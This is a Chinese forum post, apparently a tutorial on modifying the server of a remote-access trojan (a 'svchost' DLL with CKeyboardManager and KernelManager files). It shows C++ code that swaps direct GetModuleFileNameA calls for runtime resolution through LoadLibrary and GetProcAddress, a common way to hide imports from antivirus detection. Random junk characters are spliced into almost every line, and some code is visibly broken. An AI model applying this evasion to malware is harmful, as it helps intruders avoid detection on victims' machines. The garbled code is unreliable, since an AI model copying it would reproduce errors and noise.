[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记+ k4 S6 I5 g5 ~0 R3 P
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：( I! X: @! K! _
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#if _MSC_VER>1000
! ]6 U9 `) K) i8 C: L#pragma once
& R0 o4 k, [, q" z8 u5 Y#endif //_MSC_VER>1000$ u* n  j3 i! T$ G3 w
#include<windows.h>
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1 i3 T& v, ?% C5 @% E5 Xtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
8 w; I2 G9 m+ S' \3 X' Tclass DTDY/ I! l9 L& r1 ?4 z
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public:; u  Q. f% d- c2 m& d/ i
DTDY();
  j( P# t; c! p1 \+ g4 Z, Zvirtual ~DTDY();* R, `' h+ _0 l( F+ s1 U
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static pGetModuleFileNameA MyGetModuleFileName;! t9 ?9 z6 |& u& h& T
static BOOL FunInitiallization();
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#endif
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, i+ A% z' z( I- mDTDY.cpp:
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#include "DTDY.h"# G( _- e  ], T, t# x- T8 I+ U; ]2 j
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;8 Q- F4 E1 g5 s+ c
DTDY:TDY(); G6 h7 Z; V  g; a4 i/ Z3 }: c0 A
{
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, Y% U8 x7 c5 M! O  u; ]' c0 L. vDTDY::~DTDY(). d4 A( _- p- R* [' h8 R: \
{
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BOOL DTDY::FunInitiallization()
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) t5 _8 k8 a9 P( D' K+ eHMODULE hModule=LoadLibrary("kernel32.dll");
. R' m* ~. q+ ^. A+ [2 _MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
7 i+ _$ [7 g3 x4 H* Y7 |+ ~. yif(!MyGetModuleFileName=) return FALSE;
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return TRUE;
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4 {4 I& N/ n0 |" p6 Y8 V1 Nsvchost.cpp:+ G5 [9 I4 T3 A
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#include "DTDY.h"
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0 Y4 {0 d9 F; V+ S* n5 ?BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)  `: ]' P% Z9 h" g3 ?% {
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switch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:
# G8 m# T4 w$ I8 d! P/ |if(!DTDY::FunInitiallization()) return FALSE;
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break;
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6 }7 t6 J7 t- ]5 h" LGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
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DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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( t( `% a% B5 ~. y3 ZKernelManager.cpp:: g6 ^" [$ ~0 i5 {

/ @0 E  t" \/ P7 |6 b2 E" h, Y4 Q4 n! I#include "../DTDY.h": f4 W' F; F" m
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
% {5 b! W# Z6 L改写为
+ H" E- [$ m9 m/ S- _1 F# C& U6 l# \DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));! n. [% L, g& G" B! I, e  \# c5 R9 ~
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